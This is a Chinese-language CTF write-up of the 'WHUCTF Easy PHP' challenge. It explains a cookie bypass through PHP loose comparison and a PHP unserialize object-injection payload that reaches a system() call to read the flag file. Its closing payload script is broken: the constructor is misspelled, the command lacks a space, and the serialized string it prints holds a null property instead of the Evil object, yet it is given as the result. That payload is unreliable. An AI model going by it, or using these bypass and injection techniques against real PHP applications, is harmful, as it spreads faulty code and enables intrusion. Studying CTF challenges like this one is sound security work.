WHUCTF Easy PHP

绕过 + 反序列化

Analysis

Source Code

<?php
error_reporting(0);
include 'flag.php';
highlight_file(__FILE__);

if (!$_COOKIE['admin']) {
    exit("\nNot authenticated.\n");
}

if (!preg_match('/^{"hash": [\w\"]+}$/', $_COOKIE['admin'])){
    exit("还看不懂正则表达式? 还不快去百度! \n");
}
$session_data = json_decode($_COOKIE['admin'], true);

if ($session_data['hash'] != strtoupper(MD5($flag))) {
    echo("给你个提示吧 \n");
    for ($i = 0; $i < 32; $i++) {
        echo(ord(MD5($flag)[$i]) >> 6);
    }
    exit("\n");
}

class WHUCTF {
    protected $stu;
    function __construct() {
        $this->stu = new Study();
    }
    function __destruct() {
        $this->stu->action();
    }
}
class Study {
    function action() {
        echo "CTF 真好玩~";
    }
}
class Evil {
    function action() {
        system('cat ./flag.php');
    }
}

echo "这么明显了,你懂我意思吧";
unserialize($_GET['whuctf']);

这里有两个绕过点:

1)首先构造合适的 Cookie:admin={"hash": xxxx}, 这里的xxxx必须为字母数字下划线组成的字符串, 但是这个xxxx的值需要与md5($flag)弱相等。

分析下面的源码:

if ($session_data['hash'] != strtoupper(MD5($flag))) {
    echo("给你个提示吧 \n");
    for ($i = 0; $i < 32; $i++) {
        echo(ord(MD5($flag)[$i]) >> 6);
    }
    exit("\n");
}

结合提示:

给你个提示吧 
00111110000000110000000101011110

它给的提示其实是将每一位右移6之后得到的结果:00111110000000110000000101011110,其中的echo(ord(MD5($flag)[$i]) >> 6); 输出flag md5每一位右移6位后的结果,分析一下:

若是字母输出1,数字输出0,我们可以判断出flag md5值前2位小于64为数字。再通过php弱类型比较:

if ($session_data['hash'] != strtoupper(MD5($flag))) {
    echo("给你个提示吧 \n");
    for ($i = 0; $i < 32; $i++) {
        echo(ord(MD5($flag)[$i]) >> 6);
    }
    exit("\n");
}

利用burp从0到99爆破,在61就发现绕过了这一限制,所以最终Cookie设置为:Cookie:admin={"hash": 61}

绕过第一关!!!

非预期:

这上面是一个预期解,还有一个非预期解,由于正则过滤不严,本来hash值的内容只应允许输入md5包含的字符即[0-9a-f]

若输入值为admin={"hash": True},使用json_decode可以将hash值解析为布尔值True,而我们知道php弱类型特性:

因此也可以通过这个部分绕过。

unserialize

接下来就是构造反序列化:

class WHUCTF {
    protected $stu;
    function __construct() {
        $this->stu = new Study();
    }
    function __destruct() {
        $this->stu->action();
    }
}
class Study {
    function action() {
        echo "CTF 真好玩~";
    }
}
class Evil {
    function action() {
        system('cat ./flag.php');
    }
}

echo "这么明显了,你懂我意思吧";
unserialize($_GET['whuctf']);

反序列化原理是你正常序列化出来是:O:6:"WHUCTF":1:{s:6:" * stu";O:5:"Study":0:{}}

然后改成:O:6:"WHUCTF":1:{s:6:" * stu";O:4:"Evil":0:{}},再urlencode一下。

Payload

<?php
class WHUCTF {
    protected $stu;
    function __constsuct(){
        $this->stu = new Evil();
    }
    function __destruct(){
        $this->stu->action();
    }
}
class Study{
    function action(){
    echo "CTF 真好玩~";
    }
}
class Evil{
    function action(){
        system('cat./flag.php');
    }
}
$a = new WHUCTF();
echo serialize($a);             // O:6:"WHUCTF":1:{s:6:"*stu";N;}
echo urlencode(serialize($a));  // O%3A6%3A%22WHUCTF%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00stu%22%3BN%3B%7D

结果:

dmsj.php?whuctf=O%3A6%3A%22WHUCTF%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00stu%22%3BN%3B%7D